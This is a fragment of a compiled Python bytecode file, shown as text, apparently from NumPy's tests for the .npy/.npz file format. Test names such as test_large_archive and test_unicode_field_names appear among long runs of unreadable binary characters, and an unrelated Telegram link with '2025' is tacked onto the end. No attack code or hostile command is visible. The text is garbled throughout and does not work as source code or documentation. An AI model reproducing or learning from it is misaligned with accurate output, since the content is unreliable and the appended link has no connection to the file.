large_archiversrhrxrW)rj�empty�uint8�MemoryErrorrrr}r~rr�r�r�rrv)r�r�r�rX�new_arIrIrJ�test_large_archiveqs���r(cCsHtj�|d�}t�|�t�|��	}Wd�dS1swYdS)Nznothing.npz)r}r~rrjr�r�)r�r��npsrIrIrJ�test_empty_npz�s

"�r*c	Cstjgd�dtfdtfgd�}tj�|d�}t|d��}tj||dd�Wd�n1s.wYt|d	��
}t�	|�}Wd�n1sHwYt
||�t|d��-}tt��tj||dd�Wd�n1sowYWd�dSWd�dS1s�wYdS)
N)�r3rrr+r�intu整形r	zunicode.npyrs)rrr�rx)
rjr�r,r}r~rr�rrSrUrrr�)r�rWr�rXrZrIrIrJ�test_unicode_field_names�s(
��	��

��"�r-zdt, fail�S3�some�stuff)�metadata�subarrayrcCs�tjd|d�}t�}tt��t�||�Wd�n1swY|�d�|rGtt��t�	|�Wd�dS1s@wYdSt�	|�}ddl
m}t||�||j
�s^J�||j
�reJ�dS)Nrr	r)�
_has_metadata)rjrkrrr�r�r�rrgr��numpy.lib.formatr3rr
)r��failrW�bufrZr3rIrIrJ�test_metadata_dtype�s
�

"�

r7)c�__doc__rr}�shutil�tempfiler�r�ior�numpyrj�
numpy.testingrrrrr�	numpy.librr%�int8�uint16�int16�uint32�int32�uint64�int64�float32�float64�	complex64�
complex128re�scalarsra�scalar�endianr
�newbyteorderr��astype�basic�extendr��reshape�T�Pdescr�PbufferT�Ndescr�NbufferTr�rbr@r[r\r]r`rdrfrirpr�r�r��dt2�dt3�dt4�dt5�dt6�mark�parametrizer�r�r�r�r,r�r�r�r�r�r�r�r�r�rrrrrr!�skipif�intpr��slowr(r*r-r�r7rIrIrIrJ�<module>sv�
���
�
��&�&���
	
��
/������


��
����
�
���
1



���
���

https://t.me/RX1948 - 2025